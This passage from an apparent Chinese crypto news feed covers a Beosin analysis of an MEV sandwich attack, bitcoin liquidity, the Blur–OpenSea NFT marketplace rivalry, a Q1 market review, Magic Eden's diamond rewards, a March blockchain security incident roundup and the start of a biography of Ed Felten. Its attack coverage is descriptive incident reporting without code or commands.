会不会有重回光辉岁月的一天，见证更多在 Orca 上开发的收益用例。  ( 2 min )
    Beosin：攻击者引诱MEV机器人进行抢跑套利，攻击者可能具有验证节点权限
    PANews 4月3日消息，据Beosin-Eagle Eye态势感知平台，MEV机器人遭受恶意三明治攻击，损失金额约2500万美元，Beosin安全团队第一时间对事件进行了简析，结果如下： 1. 其中一次攻击为例，攻击者首先将目标瞄准到流动性很低的池子，并试探MEV机器人是否会抢跑交易。例如下图中，我们可以看到攻击者通过0.04 WETH试探MEV机器人，勾引MEV机器人进行抢跑套利。发现池子确实有MEV机器人进行监控，并且MEV机器人会使用其所有的资金进行套利。另一方面，MEV机器人使用攻击者节点出块，此前攻击者也一直在尝试MEV是否使用他的验证进行出块，所以这里也提前验证了MEV机器人是否会执行，并且作为验证者可以查看bundle。 2. 攻击者试探成功之后使用预先在Uniswap V3中兑换出来的大量代币在低流动性的V2池内进行兑换操作，勾引MEV使用全部的WETH进行抢跑购买不值钱的代币。然而被抢跑的交易其实才是瞄准了MEV的攻击交易，使用了大量的代币换出MEV刚刚进行抢跑的所有WETH。 3. 这时由于MEV进行抢跑的WETH已经被攻击交易兑换出来，所以MEV机器人想要重新换回WETH的操作会执行失败。 4. 攻击能够成功的主要条件可能一是因为MEV每次在低流动性池中套利仍然会使用自身所有的资金，二是因为在uniswap V3中可以用少量资金获得同样的代币，而其价值在V2池中已经被操纵失衡。三是因为攻击者可能具有验证节点权限，可以修改bundle。 此前消息，Beosin KYT反洗钱分析平台发现目前资金位于地址0x3c98d617db017f51c6a73a13e80e1fe14cd1d8eb($19,923,735.49), 0x5B04db6Dd290F680Ae15D1107FCC06A4763905b6($2,334,519.51)， 0x27bf8f099Ad1eBb2307DF1A7973026565f9C8f69($2,971,393.59)。  ( 1 min )
    加密“观光客”离场，比特币流动性枯竭
    来源：新浪财经 尽管比特币价格在今年以来出现了引人注目的飙升(涨幅超60%)，但无论以何种标准衡量，比特币的流动性都仍然很低。 加密市场数据提供商Kaiko Research的分析师Conor Ryder表示，投资者在交易中支付的价格一直在上涨，原因是交易的预期价格与实际执行价格之间存在差异，这是流动性恶化的一个迹象。交易难度越高，投资者面临的潜在价格波动风险就越大。这可能是由于在交易下达和完成之间的买卖价差发生变化、或者是因为订单簿的深度不足以支持大订单。 尽管比特币今年以来的反弹使其成为第一季度表现最好的资产，但美国监管部门加大打击力度、以及几家与加密货币相关的银行倒闭挫伤了一些投资者的热情。Conor Ryder表示：“这更说明机构不愿在该领域提供流动性。许多加密货币公司不想卷人美国监管机构与加密货币交易所之间的斗争。” 实际上，在过去一年的暴跌中，加密市场的交易量和流动性已经枯竭。比特币在去年下跌了约38%，至2.8万美元左右，其他一些加密货币跌幅更大。包括加密货币交易所FTX崩盘等丑闻吓跑了投资者。分析师们现在特别关注规模较小的散户投资者可能会如何表现，因为他们一直是金融体系的组成部分，并在疫情早期的繁荣时期帮助推高了资产价格。 数字资产管理公司3iQ的研究主管Mark Connors表示：“‘观光客’肯定走了。如果你在这个行业，你必须明白波动性是存在的。你不知道它每天会去哪里，但你知道它的轨迹、采用情况等。” 一些最受欢迎的加密货币交易所的现货交易量也能够说明这个问题。截至3月底，最大的加密货币交易所币安的24小时正常交易量超过60亿美元，月访问量约6500万次。相比之下，根据CoinGecko的数据和该公司编制的数据，第二大加密货币交易所Coinbase(COIN.US)的24小时正常交易量约为13亿美元，月访问量约为3300万次。 City Index高级金融市场分析师Fiona Cincotta表示，比特币交易量大幅下跌将“不可避免地导致市场更加动荡”。她表示，交易量的大幅下降意味着大额订单更容易影响比特币价格，未来可能还会出现更多剧烈波动。她补充称：“交易量下降表明，随着围绕银行业的担忧缓解、以及对加密市场的监管，人们对比特币最近较高水平的兴趣正在减弱。” 此外，美国商品期货交易委员会(CFTC)近日宣布起诉加密货币交易所币安及其创始人赵长鹏涉嫌违反衍生品监管规定。FRNT Financial的数据和分析主管Strahinja Savic称：“这起案件将如何影响币安的运营还有待观察。在这种情况下，加密货币领域的流动性现状尚未受到诉讼的影响。”  ( 1 min )
    Blur与OpenSea的悬崖赛车：一场围绕NFT流动性的“生死追逐战”
    原文：《Arkstream Capital:Blur与OpenSea的悬崖赛车》 作者：墨客 2022年下半年是NFT的冬天。随着Otherdeed for Otherside的发行抽走了市场最后一丝流动性，NFT市场宣告投机潮的破灭。 Blur作为一个优秀的NFT Marketplace，它发币的预期给市场带来了一些增量。而当Blur发行代币$BLUR之后，巨大的空投收益，给市场来了更多的增量。 从NFT Marketplace的交易数据上看，我们可以清晰的得到几个结论。 1、 艺术类的NFT Marketplace已经全面落后于综合型NFT Marketplace（其实就是PFP）。 2、 Blur在2-15空投之前交易量就已经超过OpenSea。 3、 NFT市场在经历了2022年的炒作高潮与幻灭之后，在2023年的1季度已经回归良性市场。 Arkstream一直保持着对NFTfi的关注，我们相信NFT作为所有权的凭证功能，有它长期的存在价值，这种价值并不会因为NFT整个市场的低迷而蒙尘。 在正式开始我们的文章之前，我们想先进行一些闲碎的NFT价值讨论。 顾名思义，NFT全称为Non-Fungible Token，指非同质化通证。与FT(Fungible Token)简单的一致性相比，NFT包含了一致性与非一致性两种属性。 NFT以目前市场的交易活跃程度，主要有NFT艺术品与NFT PFP两大类。随着人类与互联网的越来越深度纠缠，PFP更适合作为在线身份的化身。这就能解释为什么PFP在NFT领域比NFT艺术品更重要。 NFT艺术品，只有非一致性。而NFT PFP通常为系列构成，包含了一致性与非一致性。NFT PFP是波普艺术的Web3表达，它背后的共通逻辑是重复的主体+随机变量。 工业上的重复形成共性，共性凝聚社区，是为一致性。变量的稀缺性，人为制造了不平等，标识社交地位的高低。对于天性爱追求“不平等”的人类来说，阶级的鄙视链是人性底层的刚需。笔者认为一致性在顺序上是优先于非一致性的，只有一致性才能产生NFT PFP的价值温床，才能生长出非一致性的社交歧视价值。PFP的价值与社区能量成正比。 而NFT这种一致性与非一致性的糅合成为了每一个NFTfi需要去面对的最大的问题。导致在处理流动性上分裂为了***P2P（CLOB）与P2Pool（AMM）***2大方向。而这两大方向各自只擅长处理一种矛盾，这成为阻碍NFTfi发展的底层矛盾。 业内吵得比较多的版税问题，放在一致性与非一致性的框架下进行解读会更清晰。 NFT艺术品，承载了艺术家的艺术价值，与它的独特性表达，它并不需要高周转，更在于收藏价值。在NFT艺术品的生命周期中，它会随着时间的流逝而增值。梵高一生未婚穷困潦倒，死后才享尽哀荣。NFT的高版税可以这种悲剧不再发生，让NFT艺术品的时间价值更早回馈到艺术家身上。所以高版税是非常契合NFT艺术品的特质。 而NFT PFP在初期沿袭了NFT艺术品的高版税。笔者认为这样的行业惯性是有很大的问题的。前文探讨过，由于PFP的一致性先于非一致性，且PFP的价值极大的依托于社区能量。所以高流通是更有利于PFP的价值增长的。PFP需要通过更好的流动性更低的摩擦，捕获更大的社区价值。笔者原以为，PFP的版税，会在PFP之间的竞争中完成。没想到最后是Blur与OpenSea的流动性战争顺便把这件事情完成了。 根据 Proof 研究总监 NFTstatistics.eth 数据， Blur 整体平均版税率仅为 0.65%，并带动了整体 NFT 市场版税的下降。 很多NFT项目方对此怨声载道。笔者想说的是，这些项目方哪来的脸，把市场红利期的利润当成了理所当然。以笔者比较熟悉的项目Phantabear为例，累积销售额35,735ETH，版税7.5%，累积版税收入2680ETH，按照ETH=1700$，折450万美金。这些费用并没有回馈到项目本身的建设，而被创始人瓜分殆尽。且不说还有Mint的费用。Phantabear仅仅是许多不干人事的NFT项目中的一员。 by：Phantabear是创始人Mark跟Will利用周杰伦的名声做的圈钱项目。后期周杰伦因为个人口碑为Phantabear所累，有接手的意愿。但是与两位创始人一直无法达成权责的重新厘清划分，导致该项目事实失败。 让NFT项目只能辛苦的通过经营社区赚钱，才是用户对NFT良性市场的最大尊重。 严格的来说，NFT Marketplace可以再细分为三类，CLOB Marketplace/AMM Protocol/Aggregator（聚合器）。 Aggregator 最早的玩家有 Gem、Genie，这两家分别被 OpenSea 与 Uniswap 收购。与其说他们是 Aggregator，倒不如说它们是OpenSea的批量操作工具。 Aggregator起于Genie， 而Gem在Genie打开市场后，带着更好用、更便利的产品进入了市场，同时它也更具客户友好性、并且拥有更为优秀的宣发和资本支持，基于上述一切，Gem在NFT聚合平台的初步竞争中取得了胜利。然而，Gem并没有快乐多久，当 OpenSea 的挑战者逐步登场之后，更强的 Aggregator Blur 出现了，然而 Blur 更像是给自己的 Marketplace 引流。不想做 Marketplace 的 Aggregator 不是好 Aggregator。 By：X2Y2也有Aggregator功能，但是X2Y2的聚合器与其说是聚合器，倒不如说是顺便提供了一个LooksRare与OpenSea的批量交易功能。 目前严谨的来说，Aggregator只有Resevior更像是专注聚合的，但是其在Blur与OpenSea的2强积压下，身影也显得比较落寞，Aggregator这个赛道可能要等市场更加军阀混战的时候才有它的空间。 NFT Marketplace一个竞争维度在于交易的便捷性。从交易界面上，可以很清楚的感知到Blur的交易体验偏向于专业交易者与批发市场，OpenSea的交易体验偏向于普通用户与零售市场。其他大部分的Marketplace是参考的OpenSea的设计的。 Blur出色的交易体验，是为什么Blur能够凝聚一些早期用户的原因。也是为什么那么多Aridrop Hunter在没有发行代币之前愿意投入资源与时间在Blur上的原因。 但对COLB Marketplace的讨论，笔者想把这个话题着重聚焦在流动性上。作为一个市场，最大的价值在于提供最好的流动性给到用户。在DeFi上的Uni最早设计的LP方案，与后来Arbitrum上异军突起的GMX的0滑点对赌与GLP设计中，无不尽力在流动性上去发力。 OpenSea作为最早的NFT Marketplace，在List NFT卖单之外，提供了Offer的买单功能。但是Offer的买单功能操作的便捷性与批量性并不太好，限制了买盘的流动性。当笔者持有大量的单一系列NFT时，出货是个头疼的事情。笔者曾经怀疑过，OpenSea是不是为了维持NFT整体市场的价格表现，刻意为之。因为更好的订单簿功能，理论上并不难。 在LooksRare上线的时候，我们曾经讨论过它的代币经济模型。它一开始采用了交易挖矿的逻辑。而交易挖矿的历史可以追溯到2018年，直到DeFi狂潮之后，市场才普遍采用了流动性挖矿。 在2020年Compound开启的流动性挖矿的观察中，我们分析过它区别于2019年Dapp狂潮与更早之前的Fcoin与龙币网的交易挖矿的地方。 交易挖矿的问题是会产生空转，不管怎么做trading wash，都会产生为了代币激励进行的垃圾交易。这些垃圾交易并不产生留存价值，无益于流动性的增长。而对于没有足够技术去低成本挖矿，只能采取主动吃单来挖矿的玩家来说，他们的交易存在瞬时性，没有“惰性”，当代币激励开始减半的时候，流动性也会随之快速衰减。这意味着挖矿补贴的高成本与低效率。 而流动性挖矿的优点在于，第一它提供的是真实的流动性，并且LP承担了风险。第二它有惰性，绝大部分的LP，并不会高频的切换它们的LP。在DeFi里面，我们甚至看到一些死掉的项目都有几十万U的Farm资金留存。并且LP除了挖矿奖励之外，还有交易手续费的分红。这更增加了它们的留存。 在Arkstream的代币经济学思考中，我们认为好的代币经济设计必须满足： 1、项目方深刻意识到代币激励是一种债务行为，谨慎的设计排放。 2、代币激励必须激励对协议长期价值产生正向推动的行为。 3、代币激励必须施加于有网络效应的协议。 以上三者缺一不可。 LooksRare后续的币价表现与交易量表现证明了交易挖矿的失败。 而后LooksRare加上了Listing的奖励。X2Y2则是在一开始就加上了Listing的奖励。在2022年3月30号之后更新代币经济2.0切换为交易挖矿，这反而是一种倒退。 流动性是双向，并且对于NFT市场来说，最大的问题并不在于缺少卖方List，而是想出货的时候，没有足够的对手方承接NFT的抛压。所以在流动性上的思考，Blur比LooksRare跟X2Y2都要想多了一层。 Blur在Airdrop2采用了Listitng挖矿，随后在Airdrop3加入了BID挖矿，分别对应流动性的两端。 在$BLUR正式发行之前，这样的双向流动性方案已经对Blur的交易量产生了巨大的正向刺激。这显然是一个成功的空投方案。 这也是笔者对Blur给予了巨大的关注的原因，Blur是NFT Marketpalce中第一个采取很积极的策勒（包含BID的产品设计，与代币激励）在解决NFT流动性上的玩家。 但Blur的流动性方案，笔者认为依旧不是最佳的方案。对比Uniswap的LP流动性设计来说，Blur的BID显得惰性不足。 目前BID，感性认知，卷积分前20榜单的一半以上中国人，有名有姓的大户/科学家/工作室，笔者都听到好几个。BID里面的资金绝大部分是没有忠诚度的。 BAYC跟MAYC的BID墙很好地说明了这点。 BAYC由于MACHI的持仓太过雄厚，都惧怕MACHI的砸盘，没有大资金去BID 1/2/3档。 而MAYC的2/3档则有大量的资金在BID。这些明显的买单墙都是为了BID积分来的，撇开这些明显的买单墙，真实的流通性做市商并不多。 Blur的BID池的ETH总量，在硅谷银行危机当天有很多撤出。当天大盘暴跌之外，NFT价格也收到巨大的挤压，绝大部分Collection的BID资金从3万ETH，跌到1万ETH。 而且因为Blur现在是0手续费的机制，除去代币激励本身，它无法像Uni一样通过手续费给LP提供激励。一个良性的系统，是当去除代币激励本身，依然能够有诱因让LP Provider去提供流动性的。$BLUR在Uniswap上线的时候，就有非常多的玩家愿意进去做LP，为了赚取LP的交易手续费，有朋友最早进去的，当天手续费就挖回来成本的50%。 一旦Blur的流动性激励取消，可以想象这些BID墙会马上崩塌。 当我们在讨论Blur的流动性挖矿给NFT市场注入的流动性的时候，我们同样也面临一个问题，就是Blur加速了NFT市场的奔溃，原先NFT市场因为流动性的问题，大户没办法迅速变现。而通过Blur的BID墙，现在鲸鱼们可以随意出货。 许多小 NFT 项目会利用 Blur 的机制进行倾销。在Blur早期机制不完善的情况下，这些项目方会先在 OpenSea 刷交易量，然后在 OpenSea 上有了托底价格后便开始在 Blur 上慢慢抬高 Bid 挂单并赚取积分。在这个过程中，有的项目方选择同时 List 部分 NFT，这样就算自己的 Bid 成交了，卖出的 NFT 也能实现部分回血。而有的项目方则持有该合集的大部分 NFT，因此可以随意抬高价格来刷积分，别人出价则不会给他们出货。 如果没有BID的竞争对手，项目方或许会安于刷Blur积分，但是如果一旦有散户或者机器人也来参与BID，在积累足够的BID深度之后，他们便会马上把自己的 Bid 撤走，然后将手中的 NFT 卖给这些出价的散户和机器人。 在这场狂欢中，NFT项目方与鲸鱼获得了宝贵的流动性，而流动性做市商获得了“宝贵”的$BLUR。 所以笔者认为Blur的代币经济需要进行升级，来增加这些套利者的成本。套利者对系统是一种伤害。 尽管这种流动性在短期内成为了NFT市场的双刃剑，但是长周期来说，流动性依然是好事。如果我们认可NFT的长期价值，那么富流动性下的崩，只是帮助价格的快速发现。 笔者认为，既然目前的Blur的代币经济设计，是不考虑NFT的非一致性的，那么完全可以考虑Uni的LP配对的方式来进行挖矿，以提高流动性做市商的惰性跟磨损。 这本质上是一种AMM的思路，再通过前端的方式聚合稀有款与地板款的交易。类似的思路Blur并不是没有做过，在被Seaport合约屏蔽的时候，Blur就是采用前端的方式来跳过OpenSea的屏蔽。 除此之外，CLOB Marketplace的竞争方向应该是往越来越专业化的方向走。例如Tensor.Trade所展示的。 Tensor包含了Tensor Trade（Aggregator）与Tensor Swap（AMM的Protocol），在用户体验方面，它的方向跟Blur是类似的，致力于提供更加丰富的信息（NFT地板价K线），跟额外的交易体验（更加丰富的订单功能）给用户。 笔者也会期待在Blur上的BID功能可以更丰富，例如加上止盈止损功能，还有批量订单化管理的Offer功能。 迫于Blur带来的竞争压力，OpenSea在2月22日开启了0手续费以对抗Blur，但是这并没有显著的提高OpenSea的交易量，更像是一个被动防守的策勒。 从流量上看，OpenSea因为Blur的发币，受到极大的打击。 而另一边，Blur的压力也不小。OpenSea的员工人数在22年裁员之后，媒体披露大概230人，最后一轮获得3亿美金融资，血条还是比较厚的。而Blur目前已经披露的融资额1400万美金，虽然成本支出更少，但是子弹也更少。0手续费的Blur不管在法律上（SEC监管），还是市场上，都没办法通过收手续费的方式给自己增加收入，也无法给$BLUR进行任何赋能，可以说Blur把它跟OpenSea都拉上了悬崖塞车，进行一场死亡即是终点的游戏。 这场战争势必要以熬死其中的一方作为结局，然而在这个过程中，X2Y2与LooksRare等二线NFT Marketplace受到了更大的挤压，可能更快倒下的反而是它们。 在AMM这个方向里面，不止有Sudoswap，还有早期的NFT20/Unicly，但是早期的方案通常还附加了碎片化，或者ERC20化。 这个过程对NFT本身的流动性并没有太大的帮助。笔者认为Sudoswap的做法相对而言返璞归正一些。 标准的AMM只能处理NFT的一致性。Sudoswap在处理非一致性上的做法，是通过多Pool的模式，让用户跟市场自行调整到不同稀有度层级匹配到不同定价层的Pool里面。然后再通过前端进行整合。这个设计是带一定的巧思的，然而实际看来，这种分层并不足以处理复杂的稀有度问题，事实上并没有解决该问题。 笔者早期对Sudoswap是寄予厚望的，也特别关注Sudoswap的空投进程。在强大的竞争对手OpenSea面前，整个NFTfi的竞争业态，并不像当年的DeFi。Uniswap的成长，很大一部分得益于2018-2019年的熊市，让它有时间去累积它的用户。 而时不待Sudoswap，不激励等于死。Web3某种程度上是一个增强版的Web2，特别是在马太效应上，Web3自带涡轮增压版的马太效应。长期关注DeFi的人就会发现，在2022年至今，ETH链上的DEX，长尾代币的捕获能力基本上都在Uni这边，除了1inch与curve有自身的定位之外，其他DEX不管是在市值还是交易量上都受到巨大的挤压。 然而Sudoswap的空投计划让羊毛党、1池跟2池玩家都寒心了。笔者甚至都怀疑项目方并没有想好好经营这个项目，Sudoswap的空投完全是为了给Xmon的持有人送福利，或者说给项目方自己送福利，毕竟大部分的Xmon都在项目方手上，而完全没有考虑对Sudoswap的长期正向激励。 与Blur截然相反，Sudoswap的空投把它空投死了。空投完之后也没有连贯的代币激励计划为自身的AMM提供流动性支持。 但是如前文所述，我们依然认为以目前CLOB Marketpalce在对地板款的处理逻辑上，AMM依然有它巨大的生命空间。基于NFT的一致性与非一致性的矛盾，不管是P2P（CLOB）还是P2Pool（AMM）的模式，都没办法很好的解决NFT的流动性问题，所以笔者认为两者的融合，以其一为主，或许是不错的方向。 尽管Blur依然有非常多的缺陷，并且$BLUR的币价从上线之后一直萎靡不振，社区也在诟病$BLUR的赋能问题，但是笔者认为，Blur致力于提高NFT市场的流动性，使得在当前时间节点，它站在了一个很重要的生态位。基于充足的流动性，才会有NFTfi的第二篇章。就像当年基于Uniswap，AAVe这些T1的DeFi之后，才会有YFI，1inch这些T2的DeFi的成长空间。 而Blur与OpenSea的悬崖塞车只是NFTfi这场无限战争序幕的第一章而已，让我们保持对NFTfi的持续关注。  ( 3 min )
    加密市场一季度回顾：BTC涨幅70%，市场复苏的转折点？
    作者：Lucas Outumuro, IntoTheBlock 编译：Felix, PANews IntoTheBlock发文总结了2023年第一季度的情况：深入研究了导致加密行业显著复苏的因素，简要概述了发挥作用的宏观力量、最相关的链上数据，以及对可能影响今年第二季度的催化剂的分析。 网络费用：使用特定区块链所花费用的总和 该指标追踪了消费意愿和使用BTC或ETH的需求。 转入交易所的加密货币可能预示着抛售压力，而提币则可能表明在正常情况下增持。 2023年第一季度，加密货币强劲反弹，BTC和ETH均实现了自2021年第一季度以来最大的季度价格涨幅。价格反弹出现在FTX崩溃后抛售疲软、风险资产宏观前景改善等积极因素之后。 BTC领跑：BTC在2023年第一季度的表现超过了大多数资产 BTC的出色表现，可能表明其作为数字价值存储的吸引力越来越大。ITB资本市场的数据显示，BTC与黄金价格的相关性从年初的-0.3上升到本季度末的0.9。 第一季度目睹了稳定币战争的白热化，随着Circle在银行业危机中苦苦挣扎，USDC经历了迄今为止最大规模的脱钩，USDT获得了更多的市场份额。 尽管自硅谷银行倒闭和美联储的“打压”以来，ETH一直落后于BTC，但ETH凭借49%的季度涨幅依然超过了许多加密资产（当然还有股票）。 资料来源：ITB 以太坊价格指标 尽管价格和市场情绪在第一季度有所回升，但加密货币的下一步走势仍不明朗。 从宏观角度上看，一直以来打压风险资产的不利因素似乎有所缓解，但与此同时越来越明显的是，加密货币已经到了“被重点打击的阶段”，伊丽莎白·沃伦 (Elizabeth Warren) 正从反加密货币运动中竞选参议院，Signature银行尽管有偿付能力，但仍被监管机构可疑地接管。 再加上加密货币内部的看空力量，在强劲的季度表现之后，人们怀疑未来价格能否继续攀升抑或是回落。 资料来源：ITB 的BTC和以太坊财务指标 资料来源：ITB 的BTC和ETH持有指标 总体而言，看涨和看跌因素的共同作用可能会使第二季度变得有趣。  ( 2 min )
    一文读懂Magic Eden的钻石奖励，是否值得赚取及如何获得？
    此前，SOL链上主流NFT市场Magic Eden上线Launchpad功能，PANews曾撰文详解其运营状态，为NFT交易平台和用户剖析其可优化的运营方式和投资方式。近期，Magic Eden在运营端上线新的活动，引入钻石奖励，激励用户使用其产品。本文PANews将为你详解如何获得Magic Eden的钻石奖励，以及该奖励是否值得赚取。 从钻石奖励赋能看，根据官方博客，用户现在可以根据不同的任务赚取钻石，并在Magic Eden平台上解锁更大的奖励，为用户提供费用折扣之外的长期利益。钻石奖励数量每月都保持不变，其奖励标准不仅仅取决于交易量。通过引入钻石激励，该平台希望为其用户提供更全面和更有价值的体验。根据Magic Eden官网信息显示，该平台正在寻求创作者与Magic Eden平台合作，为钻石激励赋能。 从项目背景和实力来看，2022年3月14日，Magic Eden完成2700万美元融资，参投方包括红杉资本、Paradigm、Greylock等。2022年6月21日，Magic Eden以16亿美元估值完成1.3亿美元B轮融资，Electric Capital和Greylock共同领投。 从产品影响力看，Magic Eden平台占据着SOL链上NFT市场的头部地位，据Magic Eden官网数据，截止目前其交易总额为5792万个SOL，交易者数量超80万个。此后Magic Eden还部署了以太坊、Polygon等多条公链，近期也推出比特币生态NFT市场。 据Dune Analytics数据显示，比特币Ordinals市场总交易量达1590.83万美元，交易笔数为38843笔，唯一用户数达18462人。Magic Eden平台上该领域的日交易量一直领先。3月30日，Magic Eden的Ordinals市场交易量约为25.56万美元，约占当日总交易量35.8万美元的71.4%。 Magic Eden目前尚未发行代币，此前仅针对早期用户空投Magic Ticket。Magic Ticke持有者可以申请加入MagicDAO参与平台治理和更多奖励活动，MagicDAO路线图显示其未来将从奖励活动、治理和社区运营三个方面进行建设。据此可以看出Magic Ticket并没有满足资本退出的条件。所以社区分析Magic Eden有较强的发币动机。而此次钻石激励活动的规则和NFT市场Blur早期空投时所设计的规则几乎一致，这让社区不禁联想该活动或成为Magic Eden以后发币时的空投参考标准之一。 钻石奖励的总数以月为单位计算，每个月奖励数量一致。需要注意的是，目前获得钻石的方式有以下三种： 1）上架：在Magic Eden上架NFT，当上架的NFT被出售成交时，用户将获得钻石。 2）bid：在Magic Eden上向某个NFT系列出价，当出价被接受时，用户将获得钻石。 3）用户完成个人资料：在个人主页填写用户名等个人资料相关的信息，完成后可以赚取钻石。 目前上架和出价钻石奖励仅针对Solana链上藏品，因为以太坊、Polygon链上目前未上线该功能。 用户的忠诚度分数决定了领取钻石奖励时的乘数，从而影响领取钻石的数量。比如忠诚度乘数为1，某个任务的基础奖励是50，那用户领取激励时获得50枚钻石。如果忠诚度乘数为2，那用户领取奖励时获得100枚钻石。忠诚度分数的计算标准为用户过去6个月在Magic Eden的交易行为，用户可以在个人奖励中心看到忠诚度得分。 100%忠诚度得分为2倍乘数；95%到100%的忠诚度得分为1.75倍乘数；90%到95%的忠诚度得分为1.5倍乘数；80%到90%的忠诚度得分为1倍乘数；低于80%的忠诚度分数将以忠诚度分数作为乘数。比如忠诚度得分为60%的用户将获得0.6的乘数，这意味着他们将获得更少的钻石。如果用户的忠诚度得分为“N/A”，则表示用户在Magic Eden过去6个月没有产生交易行为。 根据官方规则，在领取钻石奖励时采用当时的忠诚度所得的乘数。因此用户在忠诚度分数较低时可以暂缓领取钻石奖励，待通过交易等行为提高忠诚度分数后领取奖励。平台每24小时检查刷新一次忠诚度分数。 此次奖励活动除通过任务活动获得钻石奖励外，用户还可通过在Magic Eden上的交易行为赚取Magic积分。该积分不仅提升了前文中所提及的用户所需要的忠诚度，也为用户带来费用折扣。比如创作者可以以空投的方式向Magic Eden社区提供补贴、折扣或免费NFT。 Magic积分根据用户交易量的不同分为五个等级，等级越高，福利越好。用户所获得的福利最初将以NFT的形式发放在奖励中心，包括但不限于用户最喜欢的收藏中的战利品盒、生态系统合作伙伴的折扣等。具体为等级1为基本费用；交易量达到50个SOL后达到等级2，将获得5%的平台费用折扣；交易量达到250个SOL后达到等级3，等级3将获得15%的费用折扣；交易量达到1500个SOL后达到等级4，将获得25%的费用折扣；交易量达到10000个SOL后达到等级5，将获得45%的费用折扣。 用户当前所获得新增积分为上个月交易的SOL数量计算，用户每完成1个SOL（买入或卖出，铸造交易不包括在内）的交易量将获得5个Magic积分。每个月的第一天，新的积分奖励周期开始。除非用户在当前奖励周期中超过该级别，否则上个月的级别将继续保留。 随着NFT市场竞争愈来愈激烈，各平台通过各种运营活动激励用户成为一种趋势，尤其是通过发币预期来引导用户。从Magic Eden目前所处的格局和利益结构去看，其具有较强的发币动机。目前上线的钻石奖励活动也几乎全部借鉴了Blur的空投规则，并且该奖励活动仅仅基于Solana链对于用户而言获得钻石奖励所需要完成任务的成本较低。因此，对于有空闲时间的用户，多多参与Magic Eden的钻石奖励活动也未尝不可。 此外，根据官方规则，还将上线更多赚取钻石的方法，以及未来特定的钻石福利和奖励。PANews将继续跟踪报道。  ( 2 min )
    3月区块链安全报告：典型事件超21起，损失总金额约2.18亿美元
    原文：《3月发生较典型安全事件超21起，各类攻击事件损失总金额约2.18亿美元！》 作者：Beosin 又到了每月安全盘点时刻！据区块链安全审计公司Beosin旗下Beosin EagleEye安全风险监控、预警与阻断平台监测显示，2023年3月，各类安全事件数量和涉及金额较2月大幅增加。3月发生较典型安全事件超『21』起，各类攻击事件损失总金额约2.18亿美元，较2月上涨约283%。此外，3月诈骗跑路事件涉及金额达到了660万美元。 本月损失的主要金额来自于3月13日Euler Finance遭受攻击损失的1.97亿美元，截至目前，攻击者已退还其中1.5亿美元的资金。第二大攻击事件为SafeMoon项目在升级后引入了任意销毁代币的漏洞，损失金额达到了890万美元。本月发生了两起较为典型的针对个人用户的钓鱼事件，损失金额均在百万美元以上。此外，Optimism上借贷协议Kokomo Finance发生rug pull，部署者卷走400万美元，为近期最大的跑路事件。 DeFi方面，共发生『8』起典型安全事件 No.1 3月6日，PeopleDAO 在通过 Google Form收集月度贡献者奖励时，被黑客通过社会工程攻击盗取76枚ETH（约12万美元）。 No.2 3月7日，借贷协议Tender.Fi由于新的预言机合约中存在算法问题遭受攻击，被盗158万美元。 No.3 3月9日，攻击者对 Hedera 主网的智能合约服务代码进行攻击，获利约60万美元。 No.4 3月13日，DeFi借贷协议Euler Finance遭到闪电贷攻击，损失达到了1.97亿美元。截止3月28日，攻击者已退还至少1.5亿美元的资金。 No.5 3月15日，DeFi协议Poolz Finance在ETH、BSC和Polygon链上遭受攻击，损失约50万美元。 No.6 3月22日，Nuwa项目遭到Mev机器人的抢跑攻击，损失约11万美元。 No.7 3月29日，BSC链上SafeMoon项目在升级后引入了任意销毁代币的漏洞，遭到Mev机器人的抢跑攻击，损失达到890万美元。 No.8 3月29日，BSC链上UNMS项目受到攻击，损失约10万美元。 No.1 3月1日，大型Monkey Drainer钓鱼团伙宣布停止运营，甚至还向初出茅庐的“年轻网络罪犯”提出建议，称他们不应“为了轻松赚钱而迷失自我”。自2022年底至今，该团伙已累计盗窃至少1600万美元的NFT资产。 No.2 3月16日，NFT平台ParaSpace遭到攻击，随后被安全公司阻断并追回了2,909 ETH，协议实际损失约为50 - 150 ETH。 No.1 3月24日，以太坊上某个人地址遭到ERC20 Permit钓鱼攻击，损失400万美元。 No.2 3月30日，POAP 创始人 Patricio Worthalter 地址遭网络钓鱼攻击，损失约370万美元。 No.1 3月2日，Arbitrum生态DEX ArbiSwap发生Rug Pull，部署者获利13.8万美元。 No.2 3月8日，BSC链上ProTradex项目发生rug pull，部署者获利60万美元并转入Tornado Cash。 No.3 3月13日，BSC链上BCGA代币项目发生rug pull，部署者获利39,092美元。 No.4 DeFi协议Harvest_Keeper项目存在恶意转移用户资金，攻击者利用owner权限共获利93万美元。 No.5 3月21日，Thunder Lands发生rug pull，部署者获利7万美元。 No.6 3月27日，Optimism上借贷协议Kokomo Finance (KOKO)发生rug pull，获利约400万美元。 No.1 3月，印度执法局在洗钱案件中已缴获了超过1.15亿美元的加密货币。 No.2 3月23日消息，江苏省新沂市检察院对Ubank“炒币”骗局提起公诉，涉及传销交易量超100亿元。 No.1 3月17日，比特币 ATM 制造商 General Bytes 透露，黑客利用其 BATM 管理平台中的零日漏洞从该公司及其客户窃取了价值180万美元的加密货币。 鉴于当前区块链安全领域的新形势，『Beosin』在此总结： 从总体上看，2023年3月各类区块链安全事件涉及金额较2月大幅增加。3月各类攻击事件损失总金额达到了2.18亿美元，较2月上涨约283%。 本月诈骗跑路事件和金额均较上月大幅增加，建议用户提高警惕，做好项目背景调查。钓鱼事件在本月依然是危害用户安全的主要原因，建议用户在签名或授权之前仔细阅读内容，转账之前逐字验证收款人全部地址。本月有60%的攻击事件源于合约漏洞利用，建议项目方上线前一定要寻求专业的公司进行审计，用户在与项目交互前也应仔细查看审计报告，避免资金受到损失。  ( 2 min )
    从白宫要员到加密先锋，回顾Arbitrum创始人Ed Felten的技术生涯
    原文：《从白宫到Web3：扒一扒Arbitrum创始人Ed Felten的过往》by Jaleel 编辑：Jack 周末，Arbitrum 社区关于 DAO 金库 Token 分配的提案引起了剧烈的讨论，团队在社区投票没有通过，甚至是没有结束前，就将 Token 转移到了团队和投资机构的钱包中。在「DAO 名存实亡」的阵阵声讨中，也有人开始了解 Arbitrum 团队背后的故事。（相关阅读：《Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？》） Edward William Felten，1963 年 3 月 25 日出生。Felten 就读于加州理工学院，并于 1985 年获得物理学学位。1986 年至 1989 年，他在加州理工学院担任程序员，参与了加州理工学院的一个并行超级计算机项目。随后，他在华盛顿大学攻读计算机科学专业的研究生。1991 年获 MS 硕士学位，1993 年获博士学位，论文是关于开发并行处理器之间通信的自动化协议。 1993 年，他作为助理教授加入普林斯顿大学计算机科学系，并于 1999 年晋升为副教授，2003 年晋升为教授。2005 